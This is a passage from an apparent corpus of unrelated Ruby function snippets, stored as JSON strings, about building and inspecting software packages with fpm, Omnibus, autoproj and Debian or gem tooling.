FPM::Util::ProcessFailed, \"Python (#{attributes[:python_bin]}) is missing simplejson or json modules.\"\n end\n\n begin\n safesystem(\"#{attributes[:python_bin]} -c 'import pkg_resources'\")\n rescue FPM::Util::ProcessFailed => e\n logger.error(\"Your python environment is missing a working setuptools module. I tried to find the 'pkg_resources' module but failed.\", :python => attributes[:python_bin], :error => e)\n raise FPM::Util::ProcessFailed, \"Python (#{attributes[:python_bin]}) is missing pkg_resources module.\"\n end\n\n # Add ./pyfpm/ to the python library path\n pylib = File.expand_path(File.dirname(__FILE__))\n\n # chdir to the directory holding setup.py because some python setup.py's assume that you are\n # in the same directory.\n setup_dir = File.dirname(setup_py)\n\n output = ::Dir.chdir(setup_dir) do\n tmp = build_path(\"metadata.json\")\n setup_cmd = \"env PYTHONPATH=#{pylib}:$PYTHONPATH #{attributes[:python_bin]} \" \\\n \"setup.py --command-packages=pyfpm get_metadata --output=#{tmp}\"\n\n if attributes[:python_obey_requirements_txt?]\n setup_cmd += \" --load-requirements-txt\"\n end\n\n # Capture the output, which will be JSON metadata describing this python\n # package. See fpm/lib/fpm/package/pyfpm/get_metadata.py for more\n # details.\n logger.info(\"fetching package metadata\", :setup_cmd => setup_cmd)\n\n success = safesystem(setup_cmd)\n #%x{#{setup_cmd}}\n if !success\n logger.error(\"setup.py get_metadata failed\", :command => setup_cmd,\n :exitcode => $?.exitstatus)\n raise \"An unexpected error occurred while processing the setup.py file\"\n end\n File.read(tmp)\n end\n logger.debug(\"result from `setup.py get_metadata`\", :data => output)\n metadata = JSON.parse(output)\n logger.info(\"object output of get_metadata\", :json => metadata)\n\n self.architecture = metadata[\"architecture\"]\n self.description = metadata[\"description\"]\n # Sometimes the license field is multiple lines; do best-effort and just\n # use the first line.\n if metadata[\"license\"]\n self.license = metadata[\"license\"].split(/[\\r\\n]+/).first\n end\n self.version = metadata[\"version\"]\n self.url = metadata[\"url\"]\n\n # name prefixing is optional, if enabled, a name 'foo' will become\n # 'python-foo' (depending on what the python_package_name_prefix is)\n if attributes[:python_fix_name?]\n self.name = fix_name(metadata[\"name\"])\n else\n self.name = metadata[\"name\"]\n end\n\n # convert python-Foo to python-foo if flag is set\n self.name = self.name.downcase if attributes[:python_downcase_name?]\n\n if !attributes[:no_auto_depends?] and attributes[:python_dependencies?]\n metadata[\"dependencies\"].each do |dep|\n dep_re = /^([^<>!= ]+)\\s*(?:([~<>!=]{1,2})\\s*(.*))?$/\n match = dep_re.match(dep)\n if match.nil?\n logger.error(\"Unable to parse dependency\", :dependency => dep)\n raise FPM::InvalidPackageConfiguration, \"Invalid dependency '#{dep}'\"\n end\n name, cmp, version = match.captures\n\n next if attributes[:python_disable_dependency].include?(name)\n\n # convert == to =\n if cmp == \"==\" or cmp == \"~=\"\n logger.info(\"Converting == dependency requirement to =\", :dependency => dep )\n cmp = \"=\"\n end\n\n # dependency name prefixing is optional, if enabled, a name 'foo' will\n # become 'python-foo' (depending on what the python_package_name_prefix\n # is)\n name = fix_name(name) if attributes[:python_fix_dependencies?]\n\n # convert dependencies from python-Foo to python-foo\n name = name.downcase if attributes[:python_downcase_dependencies?]\n\n self.dependencies << \"#{name} #{cmp} #{version}\"\n end\n end # if attributes[:python_dependencies?]\n end", "def read_package_info\n PackageInfo.load((@location + \"pione-package.json\").read)\n rescue Location::NotFound\n raise InvalidPackage.new(self, \"pione-package.json not found in %s\" % @location.uri)\n end", "def package(pkg, options = Hash.new)\n\n options, unknown_options = Kernel.filter_options options,\n :force_update => false,\n :existing_source_dir => nil,\n :patch_dir => nil\n\n if options[:force_update]\n dirname = File.join(OBS_BUILD_DIR, debian_name(pkg))\n if File.directory?(dirname)\n Packager.info \"Debian: rebuild requested -- removing #{dirname}\"\n FileUtils.rm_rf(dirname)\n end\n end\n\n prepare_source_dir(pkg, options)\n\n if pkg.kind_of?(Autobuild::CMake) || pkg.kind_of?(Autobuild::Autotools)\n package_deb(pkg, options)\n elsif pkg.kind_of?(Autoproj::RubyPackage)\n package_ruby(pkg, options)\n else\n raise ArgumentError, \"Debian: Unsupported package type #{pkg.class} for #{pkg.name}\"\n end\n end", "def package_meta(name, depend,\n version: \"0.1\",\n force_update: false,\n distribution: nil,\n architecture: nil)\n\n debian_pkg_name = debian_meta_name(name)\n\n if force_update\n dirname = packaging_dir(debian_pkg_name)\n if File.directory?(dirname)\n Packager.info \"Debian: rebuild requested -- removing #{dirname}\"\n FileUtils.rm_rf(dirname)\n end\n end\n\n distribution ||= target_platform.distribution_release_name\n architecture ||= target_platform.architecture\n packaging_dir = packaging_dir(debian_pkg_name)\n\n if not File.directory?(packaging_dir)\n FileUtils.mkdir_p packaging_dir\n end\n\n package_deb_meta(name, depend,\n version: version,\n distribution: distribution,\n packaging_dir: packaging_dir)\n end", "def setup_package(package_name, &block)\n if !block\n raise ConfigError.new, \"you must give a block to #setup_package\"\n end\n\n package_definition = Autoproj.workspace.manifest.package(package_name)\n if !package_definition\n raise ConfigError.new, \"#{package_name} is not a known package\"\n elsif package_definition.autobuild.kind_of?(Autobuild::DummyPackage)\n # Nothing to do!\n else\n package_definition.add_setup_block(block)\n end\nend", "def input(pacman_pkg_path)\n control = {}\n # Unpack the control tarball\n safesystem(tar_cmd, \"-C\", staging_path, \"-xf\", pacman_pkg_path)\n pkginfo = staging_path(\".PKGINFO\")\n mtree = staging_path(\".MTREE\")\n install = staging_path(\".INSTALL\")\n\n control_contents = File.read(pkginfo)\n FileUtils.rm(pkginfo)\n FileUtils.rm(mtree)\n\n\n control_lines = control_contents.split(\"\\n\")\n control_lines.each do |line|\n key, val = line.split(/ += +/, 2)\n if control.has_key? key\n control[key].push(val)\n else\n control[key] = [val]\n end\n end\n\n self.name = control[\"pkgname\"][0]\n\n # Parse 'epoch:version-iteration' in the version string\n version_re = /^(?:([0-9]+):)?(.+?)(?:-(.*))?$/\n m = version_re.match(control[\"pkgver\"][0])\n if !m\n raise \"Unsupported version string '#{control[\"pkgver\"][0]}'\"\n end\n self.epoch, self.version, self.iteration = m.captures\n\n self.maintainer = control[\"packager\"][0]\n\n # Arch has no notion of vendor, so...\n #self.vendor =\n\n self.url = control[\"url\"][0]\n # Groups could include more than one.\n # Speaking of just taking the first entry of the field:\n # A crude thing to do, but I suppose it's better than nothing.\n # -- Daniel Haskin, 3/24/2015\n self.category = control[\"group\"] && control[\"group\"][0] || self.category\n\n # Licenses could include more than one.\n # Speaking of just taking the first entry of the field:\n # A crude thing to do, but I suppose it's better than nothing.\n # -- Daniel Haskin, 3/24/2015\n self.license = control[\"license\"][0] || self.license\n\n self.architecture = control[\"arch\"][0]\n\n self.dependencies = control[\"depend\"] || self.dependencies\n\n self.provides = control[\"provides\"] || self.provides\n\n self.conflicts = control[\"conflict\"] || self.conflicts\n\n self.replaces = control[\"replaces\"] || self.replaces\n\n self.description = control[\"pkgdesc\"][0]\n\n if control.include? \"backup\"\n self.config_files = control[\"backup\"].map{|file| \"/\" + file}\n else\n self.config_files = []\n end\n\n self.dependencies = control[\"depend\"] || self.dependencies\n \n if attributes[:no_auto_depends?]\n self.dependencies = []\n end\n\n self.attributes[:pacman_optional_depends] = control[\"optdepend\"] || []\n # There are other available attributes, but I didn't include them because:\n # - makedepend: deps needed to make the arch package. But it's already\n # made. It just needs to be converted at this point\n # - checkdepend: See above\n # - makepkgopt: See above\n # - size: can be dynamically generated\n # - builddate: Should be changed to time of package conversion in the new\n # package, so this value should be thrown away.\n\n if File.exist?(install)\n functions = parse_install_script(install)\n if functions.include?(\"pre_install\")\n self.scripts[:before_install] = functions[\"pre_install\"].join(\"\\n\")\n end\n if functions.include?(\"post_install\")\n self.scripts[:after_install] = functions[\"post_install\"].join(\"\\n\")\n end\n if functions.include?(\"pre_upgrade\")\n self.scripts[:before_upgrade] = functions[\"pre_upgrade\"].join(\"\\n\")\n end\n if functions.include?(\"post_upgrade\")\n self.scripts[:after_upgrade] = functions[\"post_upgrade\"].join(\"\\n\")\n end\n if functions.include?(\"pre_remove\")\n self.scripts[:before_remove] = functions[\"pre_remove\"].join(\"\\n\")\n end\n if functions.include?(\"post_remove\")\n self.scripts[:after_remove] = functions[\"post_remove\"].join(\"\\n\")\n end\n FileUtils.rm(install)\n end\n\n # Note: didn't use `self.directories`.\n # Pacman doesn't really record that information, to my knowledge.\n\n end", "def input(package)\n path_to_package = download_if_necessary(package, version)\n\n if File.directory?(path_to_package)\n setup_py = File.join(path_to_package, \"setup.py\")\n else\n setup_py = path_to_package\n end\n\n if !File.exist?(setup_py)\n logger.error(\"Could not find 'setup.py'\", :path => setup_py)\n raise \"Unable to find python package; tried #{setup_py}\"\n end\n\n load_package_info(setup_py)\n install_to_staging(setup_py)\n end", "def metadata_for(package)\n {\n 'omnibus.project' => package.metadata[:name],\n 'omnibus.platform' => publish_platform(package),\n 'omnibus.platform_version' => publish_platform_version(package),\n 'omnibus.architecture' => package.metadata[:arch],\n 'omnibus.version' => package.metadata[:version],\n 'omnibus.iteration' => package.metadata[:iteration],\n 'omnibus.md5' => package.metadata[:md5],\n 'omnibus.sha1' => package.metadata[:sha1],\n 'omnibus.sha256' => package.metadata[:sha256],\n 'omnibus.sha512' => package.metadata[:sha512],\n }\n end", "def output_package(pkg_type)\n case pkg_type\n when 'makeself'\n \"#{package_name}-#{build_version}_#{iteration}.sh\"\n when 'msi'\n Packager::WindowsMsi.new(self).package_name\n when 'bff'\n \"#{package_name}.#{bff_version}.bff\"\n when 'pkgmk'\n \"#{package_name}-#{build_version}-#{iteration}.solaris\"\n when 'mac_pkg'\n Packager::MacPkg.new(self).package_name\n when 'mac_dmg'\n pkg = Packager::MacPkg.new(self)\n Packager::MacDmg.new(pkg).package_name\n else # fpm\n require \"fpm/package/#{pkg_type}\"\n pkg = FPM::Package.types[pkg_type].new\n pkg.version = build_version\n pkg.name = package_name\n pkg.iteration = iteration\n if pkg_type == 'solaris'\n pkg.to_s('NAME.FULLVERSION.ARCH.TYPE')\n else\n pkg.to_s\n end\n end\n end", "def build_package\n # Force timestamp to be initialized before anything else. This gives us a\n # stable timestamp for the process.\n timestamp\n # Prepare the work area: copy files from root_path to work_path based on\n # the resolved Manifest.txt.\n prepare_work_area\n # Anything that has been modified locally needs to be reset.\n restore_modified_files\n # Save both the final release metadata and the in-package release metadata.\n save_release_metadata\n # Vendor the dependencies for the package.\n vendor_dependencies\n # Request that supporting plug-ins build the package.\n request_build_package\n end", "def locate_package(package_name, vers, verbose)\n local = has_local_package?(package_name)\n \n # It's true that we don't have a prerelase check here, but the\n # previous one we had didn't do anything, so it's better to have\n # none than one that doesn't work\n vers = \">= 0\" if vers == \">= 0-pre\"\n src_path = local ? locate_local_package(package_name) : \n BPM::Local.new.source_root(package_name, vers)\n\n return nil unless src_path\n\n pkg = BPM::Package.new(src_path)\n pkg.load_json # throws exception if json invalid\n pkg\n end", "def package\n p = Package.where(:id => self.package_id).first\n p ||= package_branch.latest(manifest) if package_branch.present?\n p\n end", "def find_package_definition(name)\n packages[validate_package_name_argument(name, require_existing: false)]\n end", "def build_for(packages)\n metadata = packages.first.metadata\n name = metadata[:name]\n\n # Attempt to load the version manifest data from the packages metadata\n manifest = if version_manifest = metadata[:version_manifest]\n Manifest.from_hash(version_manifest)\n else\n Manifest.new(\n metadata[:version],\n # we already know the `version_manifest` entry is\n # missing so we can't pull in the `build_git_revision`\n nil,\n metadata[:license]\n )\n end\n\n # Upload the actual package\n log.info(log_key) { \"Saving build info for #{name}, Build ##{manifest.build_version}\" }\n\n Artifactory::Resource::Build.new(\n client: client,\n name: name,\n number: manifest.build_version,\n vcs_revision: manifest.build_git_revision,\n build_agent: {\n name: \"omnibus\",\n version: Omnibus::VERSION,\n },\n modules: [\n {\n # com.getchef:chef-server:12.0.0\n id: [\n Config.artifactory_base_path.tr(\"/\", \".\"),\n name,\n manifest.build_version,\n ].join(\":\"),\n artifacts: packages.map do |package|\n [\n {\n type: File.extname(package.path).split(\".\").last,\n sha1: package.metadata[:sha1],\n md5: package.metadata[:md5],\n name: package.metadata[:basename],\n },\n {\n type: File.extname(package.metadata.path).split(\".\").last,\n sha1: digest(package.metadata.path, :sha1),\n md5: digest(package.metadata.path, :md5),\n name: File.basename(package.metadata.path),\n },\n ]\n end.flatten,\n },\n ]\n )\n end", "def package(id)\n if pkg = ARTIFACTS[id.to_sym]\n artifact(**pkg)\n else\n die \"Unknown package ID '#{id}'\"\n end\n end", "def module_info(build_module)\n if build_module.module?\n module_metainf_dir = FilePath.new(self.classes_directory(build_module.subtree('src')), 'META-INF')\n manifest = FilePath.new(module_metainf_dir, \"MANIFEST.MF\")\n module_version = extract_version_from_manifest(manifest.to_s).gsub(/\\.SNAPSHOT/,'-SNAPSHOT')\n artifact = build_module.name\n output_dir = FilePath.new(self.modules_home, build_module.group_id.gsub(/\\./, '/'),\n artifact, module_version).ensure_directory\n jarfile = \"#{artifact}-#{module_version}.jar\"\n ModuleInfo.new(artifact, module_version, FilePath.new(output_dir, jarfile), manifest)\n else\n nil\n end\n end", "def buildconf_package\n return @buildconf_package if @buildconf_package\n\n vcs = ws.manifest.main_package_set.vcs.to_hash\n @buildconf_package = Autoproj::Daemon::PackageRepository.new(\n \"main configuration\",\n vcs,\n buildconf: true,\n local_dir: ws.config_dir,\n ws: ws\n )\n end", "def info(pkg)\n\t\t\tr={type: \"info\", arg: pkg}\n\t\t\tself.query(r).first\n\t\tend", "def inject_package(hash, info, package)\n arch = info[\"Architecture\"]\n arch = arch == \"all\" ? all_map : [arch]\n arch.map do |arch|\n package_file_name = File.join(\n package_root, package_bucket, origin,\n dist, component, \"binary-#{arch}\",\n File.basename(package)\n )\n hash.deep_merge!(\n \"apt\" => {\n origin => {\n dist => {\n \"components\" => {\n component => {\n \"binary-#{arch}\" => {\n info[\"Package\"] => {\n info[\"Version\"] => info.merge!(\n \"Filename\" => package_file_name,\n \"Size\" => File.size(package),\n ),\n },\n },\n \"binary-i386\" => {},\n },\n },\n },\n },\n },\n )\n File.join(\"apt\", origin, package_file_name)\n end\n end", "def package(name)\n Packaged.instance self , name\n end", "def package\n @options['package']\n end", "def build\n @model.custom_package? ? custom_package : standard_package\n end", "def check_pkg_info\n return false if options['package_url'].nil? ||\n options['package_name'].nil?\n true\nend", "def package(output_dir = Pathname(Dir.pwd).expand_path)\n # Check the source\n check_source!\n # Turn the source into component parts to build a gem out of\n gem_parts = read_source_parts\n # Write these parts to a directory\n gem_dir = write_gem_dir(gem_parts)\n # Build a .gem file from this directory, and leave it in the `output_dir`\n build_package(gem_dir, output_dir)\n end", "def guess_package_name(gem_name, args)\n package_name = nil\n package_name ||= guess_package_name_from_args(gem_name, args)\n package_name ||= guess_package_name_from_environment\n package_name ||= guess_package_name_from_appfile\n package_name ||= guess_package_name_from_config_files\n package_name\n end", "def get_package_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PackageApi.get_package ...\"\n end\n # resource path\n local_var_path = \"/package\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'id'] = opts[:'id'] if !opts[:'id'].nil?\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20032')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PackageApi#get_package\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def package_name(project)\n \"#{project.name}-#{project.version}-#{project.release}.#{@architecture}.pkg.gz\"\n end", "def run_package_for_specified(bundle_info)\n if $options[:buildAll]\n info 'Packaging all dependencies'\n\n $toPackageDeps = []\n\n all_dependencies.each do |dep|\n files = dep.getInstalledFiles\n\n $toPackageDeps.push dep.Name if files && !files.empty?\n end\n\n puts $toPackageDeps.to_s\n end\n\n package_dependencies $toPackageDeps, bundle_info\nend", "def get_nuget_path_of\n out = yield\n out.match(/Successfully created package '([:\\s\\p{Word}\\\\\\/\\d\\.\\-]+\\.symbols\\.nupkg)'./iu) if out.respond_to? :match\n trace \"Got symbols return value: '#{out}', matched: '#{$1}'\" if $1\n return $1 if $1\n\n out.match(/Successfully created package '([:\\s\\p{Word}\\\\\\/\\d\\.\\-]+\\.nupkg)'./iu)if out.respond_to? :match\n trace \"Got NOT-symbols return value: '#{out}', matched: '#{$1}'\"\n\n unless $1\n args = ARGV.inject(\"\") { |state, arg| state + \" \" + '\"' + arg + '\"' }\n warn do\n %{Couldn't match package, please run\n bundle exec rake DEBUG=true #{args} --trace\nand report a bug to albacore with the full output. Here's the nuget process output:\n--- START OUTPUT ---\n#{out}\n--- END OUTPUT ---\n}\n end\n end\n\n $1\n end", "def packaging\n compiler && @compiler.class.packaging\n end", "def pkg_cmd; \"#{pkg_binary}\" end", "def kpkg_info(kpkg)\n info = /linux-image-((\\d+\\.\\d+\\.\\d+)-(\\d+)-(.*))/.match(kpkg)\n\n unless info\n raise \"#{kpkg} does not follow Debian kernel package naming conventions\"\n end\n\n # turn the matched info into a hash and return it\n Hash[[:uname_r, :kernel_version, :abi_version, :flavor].zip(info.captures)]\nend", "def get_package_version(package_file_name = 'package.json')\n # Is the file there?\n if File.file?(package_file_name)\n # Suck in the file.\n file = File.read(package_file_name)\n\n # Parse the file into a hash.\n package_file = JSON.parse(file)\n\n # Return the value of version.\n return package_file['version']\n else\n # FAIL something went wrong.\n raise Exception.new(\"File #{package_file_name} was not found. Check the file name.\")\n end\nend", "def each_autobuild_package\n return enum_for(__method__) unless block_given?\n\n each_package_definition { |pkg| yield(pkg.autobuild) }\n end", "def package_metadata\n @package_metadata ||= ::ChefDk::Helpers.metadata_for(\n channel: channel,\n version: version,\n platform: node['platform'],\n platform_version: node['platform_version'],\n machine: node['kernel']['machine']\n )\n end", "def build\n @log.info \"Packaging files\"\n pkgdir = File.join(@path, \"pkg\")\n FileUtils.mkdir_p pkgdir\n\n FileUtils.chmod(0755, Dir[\"#{Ian.debpath(@dir)}/*\"])\n FileUtils.chmod(0755, Ian.debpath(@dir))\n\n pkg = File.join(pkgdir, \"#{pkgname}.deb\")\n output = %x[fakeroot dpkg-deb -b #{@dir} #{pkg}]\n\n return [$?.success?, pkg, output]\n end", "def package_name\n @version ? \"#{@name}-#{@version}\" : @name\n end", "def packages_for_a_single_project\n project.packages\n end", "def parse_pkg fname\n if File.extname(fname) == @extension\n lines = IO.readlines fname\n lines.each do |l|\n begin\n break if l =~ JTools::CLS_DECL_REGEX # stop if we find the class header\n next if l.strip.start_with? \"/*\", \"*\", \"//\"\n if l =~ JTools::PKG_DCL_REGEX # if package declaration found\n pkg_name = l.gsub JTools::EXTR_PKG, \"\" # extract path\n return pkg_name\n end\n rescue ArgumentError => e\n puts \"Error matching line '#{l}' In #{fname}. \" + e.message\n end\n end\n puts \"Warning: #{File.basename fname} has no or no valid package\" +\n \" declaration. Adding to default package.\" if @verbose\n \"\" # if we found nothing -> default package\n else\n raise ArgumentError.new \"Error. #{fname} is no #{@extension} file.\"\n end\n end", "def load_details\n @commits = Package.new.git_commits\n @packages = Package.latest_first \n @package = Package.new\n end", "def gem_spec\n Gem::Specification.new do |s|\n s.name = package_name\n s.version = version\n s.platform = Gem::Platform::RUBY\n s.summary = summary\n s.description = description || summary\n s.author = author_name\n s.email = author_email\n s.homepage = project_url\n s.require_path = lib_dir\n s.files = package_files\n s.test_files = tests\n s.bindir = bin_dir\n s.executables = programs.map{|p| File.basename(p)}\n s.extensions = FileList['ext/**/extconf.rb']\n s.has_rdoc = true\n s.extra_rdoc_files = rdoc_files\n s.rdoc_options.concat(rdoc_options)\n s.test_files = tests\n s.rubyforge_project = rubyforge_project\n dependencies.each { |args| s.add_dependency(*args) }\n @package_configurator.call(s) if @package_configurator\n end\n end", "def get_package(opts = {})\n data, _status_code, _headers = get_package_with_http_info(opts)\n return data\n end", "def package_dependency(dep, bundle_info)\n info \"Starting packaging #{dep}\"\n\n instance = if dep.is_a? String\n dependency_object_by_name dep\n else\n dep\n end\n\n onError \"Invalid dependency name: #{dep}\" unless instance\n\n files = instance.getInstalledFiles\n\n if !files || files.empty?\n error \"Dependency '#{dep}' has no files to package\"\n return nil\n end\n\n # Add symbolic link targets\n links_found = true\n total_links = 0\n handled = []\n\n while links_found\n\n links_found = false\n\n files.each do |f|\n full = File.join(DependencyInstallFolder, f)\n\n next if handled.include? full\n\n next unless File.exist?(full) && File.symlink?(full)\n\n link_target = File.join(File.dirname(f), File.readlink(full))\n\n unless child_path?(DependencyInstallFolder,\n File.join(DependencyInstallFolder, link_target))\n onError 'symbolic link to be installed points outside the dependency folder: ' +\n link_target.to_s\n end\n\n links_found = true\n total_links += 1\n handled.append full\n files.append link_target\n end\n end\n\n handled = nil\n\n info \"Resolved #{total_links} symbolic links in packaged file list\" if total_links > 0\n\n precompiled_name = instance.getNameForPrecompiled + '_' + CurrentPlatform\n zip_name = precompiled_name + '.tar.xz'\n info_file = precompiled_name + '_info.txt'\n hash_file = precompiled_name + '_hash.txt'\n\n # Check that all exist\n Dir.chdir(DependencyInstallFolder) do\n files.each do |f|\n unless File.exist? f\n onError \"Dependency file that should be packaged doesn't exist: \" + f.to_s\n end\n end\n\n files_to_restore = strip_files_if_needed files\n\n File.open(info_file, 'w') do |f|\n f.puts \"RubySetupSystem precompiled library for #{CurrentPlatform}\"\n f.puts instance.Name + ' retrieved from ' + instance.RepoURL\n f.puts instance.Version.to_s + ' Packaged at ' + Time.now.to_s\n f.puts ''\n f.puts \"You can probably find license from the repo url if it isn't included here\"\n f.puts 'This info file is included in ' + zip_name\n end\n\n # When bundling everything needs to be made clean\n File.unlink zip_name if File.exist?(zip_name) && $options[:bundle]\n\n info \"Compressing files into #{zip_name}\"\n\n # Write a tar file with lzma compression\n runSystemSafe('tar', '-cJf', zip_name, info_file, *files)\n\n restore_stripped_files files_to_restore\n\n onError 'Failed to create zip file' unless File.exist? zip_name\n\n hash = SHA3::Digest::SHA256.file(zip_name).hexdigest\n\n # Write hash to file\n File.open(hash_file, 'w') do |f|\n f.puts hash\n end\n\n success \"Done with #{dep}, created: #{zip_name}\"\n info \"#{zip_name} SHA3: \" + hash\n # info \"#{zip_name} PLATFORM: \" + CurrentPlatform\n bundle_info[:dep_files].append zip_name\n return { name: precompiled_name, hash: hash }\n end\nend", "def package\n unless @package\n @package = package_resource_class.new(download_dest, run_context)\n tailor_package_to_platform\n end\n @package\n end", "def find_package_by_name(name)\n @packages[name]\n end", "def depends_on(pkg)\n autobuild.depends_on(pkg.autobuild)\n end", "def package_get(ref)\n raise ArgumentError.new(ref.inspect) unless ref.package_id\n\n package_table.get(ref)\n end", "def rpm_package_information\n super\n end", "def package_common(package_type, spec, &block)\n package_name = Autoproj.package_name_from_options(spec)\n\n if Autobuild::Package[package_name]\n current_file = Autoproj.current_file[1]\n old_file = Autoproj.workspace.manifest.definition_file(package_name)\n Autoproj.warn \"#{package_name} from #{current_file} is overridden by the definition in #{old_file}\"\n\n return Autobuild::Package[package_name]\n end\n\n pkg = Autoproj.define(package_type, spec, &block)\n pkg.srcdir = pkg.name\n pkg\nend", "def package\n build\n # there is no need for IPA or dSYM unless we have a device/macosx build,\n # so do that part only on iphoneos/macosx SDKs\n #\n if(@configuration.sdk.eql? \"iphoneos\") then\n package_ios_app\n package_dsym\n package_artifact unless !@configuration.zip_artifacts\n elsif (@configuration.sdk.eql? \"macosx\") then\n package_macos_app\n package_dsym\n package_artifact unless !@configuration.zip_artifacts\n else\n package_simulator_app\n end\n end", "def package_updated?(pkginfo)\n # append underscore to make sure version definition follows\n registered_orig_tar_gz = reprepro.registered_files(debian_name(pkginfo) + \"_\",\n rock_release_name,\n \"*.orig.tar.gz\")\n orig_file_names = Dir.glob(\"#{debian_name(pkginfo)}*.orig.tar.gz\")\n orig_file_names.each do |file|\n FileUtils.rm file\n end\n\n if registered_orig_tar_gz.empty?\n Packager.info \"Apaka::Packaging::Debian::package_updated?: no existing orig.tar.gz found in reprepro\"\n else\n Packager.info \"Apaka::Packaging::Debian::package_updated?: existing orig.tar.gz found in reprepro: #{registered_orig_tar_gz}\"\n FileUtils.cp registered_orig_tar_gz.first, Dir.pwd\n end\n\n # Find an existing orig.tar.gz in the build directory\n # ignoring the current version-timestamp\n orig_file_name = Dir.glob(\"#{debian_name(pkginfo)}*.orig.tar.gz\")\n if orig_file_name.empty?\n Packager.info \"No filename found for #{debian_name(pkginfo)} (existing files: #{Dir.entries('.')} -- package requires update (regeneration of orig.tar.gz)\"\n return true\n elsif orig_file_name.size > 1\n raise RuntimeError, \"Multiple versions of package #{debian_name(pkginfo)} in #{Dir.pwd} -- you have to fix this first\"\n else\n orig_file_name = orig_file_name.first\n end\n\n !equal_pkg_content?(pkginfo, orig_file_name)\n end", "def package(group_name, package_name, package_version)\n RubyAem::Resources::Package.new(@client, group_name, package_name, package_version)\n end", "def key\n \"gem-package-#{name}\"\n end", "def input(vnd_pkg_path)\n\n # general params\n in_bundle = vnd_pkg_path.gsub(/^(.+\\/+)*vendor\\/+|\\/(?=\\/)|\\/+$/, \"\")\n @name = in_bundle.gsub(/[\\W]+/, \"-\")\n json = {}\n if @once\n @once = true\n raise FPM::InvalidPackageConfiguration, \"You can't input multiple bundle names. Only one package can be built at a time currently. Use a shell loop please.\"\n elsif in_bundle =~ /^composer\\/\\w+\\.\\w+/\n raise FPM::InvalidPackageConfiguration, \"composer/*.* files specified as input. Supply only one bundle id.\"\n end\n\n # copying mode\n if File.exist?(\"vendor/\" + in_bundle)\n json = parse_lock(\"composer.lock\", in_bundle)[in_bundle]\n # localize contents below vendor/*/*/ input directory\n ::Dir.chdir(\"./vendor/#{in_bundle}/#{json['target-dir']}/\") do\n FileUtils.cp_r(glob(\"./*\"), build_path)\n end\n else\n # download one package (and dependencies, which are thrown away afterwards)\n ::Dir.chdir(staging_path) do\n ver = attributes[:composer_ver]\n safesystem(\n composer, \"require\", \"--prefer-dist\", \"--update-no-dev\", \"--ignore-platform-reqs\",\n \"--no-ansi\", \"--no-interaction\", in_bundle, *(ver ? [ver] : [])\n )\n # localize Vnd/Pkg folder\n json = parse_lock(\"composer.lock\", in_bundle)[in_bundle]\n FileUtils.mv(glob(\"./vendor/#{in_bundle}/#{json['target-dir']}/*\"), build_path)\n FileUtils.rm_r(glob(\"#{staging_path}/*\"))\n end\n end\n\n #-- staging\n # At this point the build_path contains just the actual class files, etc.\n # Conversion to sys/phar/sysphar is handled in convert() along with the\n # dependency translation.\n composer_json_import(json)\n @target_dir = json.include?(\"target-dir\") ? json[\"target-dir\"] : in_bundle\n attributes[:phar_format] = \"zip+gz\" unless attributes[:phar_format_given?]\n end", "def current_package\n @current_package\n end", "def info_apk\n a = publisher.info_apk\n puts \"\\n#{a.title} - #{a.short_description}\"\n puts '---'\n puts a.full_description\n puts\n end", "def info2hash(device = nil)\n names = {\n \"PKGINST\" => :name,\n \"NAME\" => nil,\n \"CATEGORY\" => :category,\n \"ARCH\" => :platform,\n \"VERSION\" => :ensure,\n \"BASEDIR\" => :root,\n \"HOTLINE\" => nil,\n \"EMAIL\" => nil,\n \"VSTOCK\" => nil,\n \"VENDOR\" => :vendor,\n \"DESC\" => :description,\n \"PSTAMP\" => nil,\n \"INSTDATE\" => nil,\n \"STATUS\" => nil,\n \"FILES\" => nil\n }\n\n hash = {}\n cmd = \"#{command(:pkginfo)} -l\"\n cmd += \" -d #{device}\" if device\n cmd += \" #{@resource[:name]}\"\n\n begin\n # list out all of the packages\n execpipe(cmd) { |process|\n # we're using the long listing, so each line is a separate\n # piece of information\n process.readlines.each { |line|\n case line\n when /^$/ # ignore\n when /\\s*([A-Z]+):\\s+(.+)/\n name = $1\n value = $2\n if names.include?(name)\n hash[names[name]] = value unless names[name].nil?\n end\n when /\\s+\\d+.+/\n # nothing; we're ignoring the FILES info\n end\n }\n }\n return hash\n rescue Puppet::ExecutionFailure => detail\n return {:ensure => :absent} if detail.message =~ /information for \"#{Regexp.escape(@resource[:name])}\" was not found/\n puts detail.backtrace if Puppet[:trace]\n raise Puppet::Error, \"Unable to get information about package #{@resource[:name]} because of: #{detail}\"\n end\n end", "def autotools_package(options, &block)\n package_common(:autotools, options) do |pkg|\n pkg.depends_on 'autotools'\n common_make_based_package_setup(pkg)\n yield(pkg) if block_given?\n end\nend", "def metadata_properties_for(package)\n metadata = {\n \"omnibus.project\" => package.metadata[:name],\n \"omnibus.platform\" => package.metadata[:platform],\n \"omnibus.platform_version\" => package.metadata[:platform_version],\n \"omnibus.architecture\" => package.metadata[:arch],\n \"omnibus.version\" => package.metadata[:version],\n \"omnibus.iteration\" => package.metadata[:iteration],\n \"omnibus.license\" => package.metadata[:license],\n \"omnibus.md5\" => package.metadata[:md5],\n \"omnibus.sha1\" => package.metadata[:sha1],\n \"omnibus.sha256\" => package.metadata[:sha256],\n \"omnibus.sha512\" => package.metadata[:sha512],\n \"md5\" => package.metadata[:md5],\n \"sha1\" => package.metadata[:sha1],\n \"sha256\" => package.metadata[:sha256],\n \"sha512\" => package.metadata[:sha512],\n }.tap do |h|\n if build_record?\n h[\"build.name\"] = package.metadata[:name]\n h[\"build.number\"] = package.metadata[:version]\n end\n end\n\n metadata\n end", "def package_plugin(name)\n `cd #{@repository_path}; rake feather:package path=#{name} target=#{@build_path}`\n end", "def 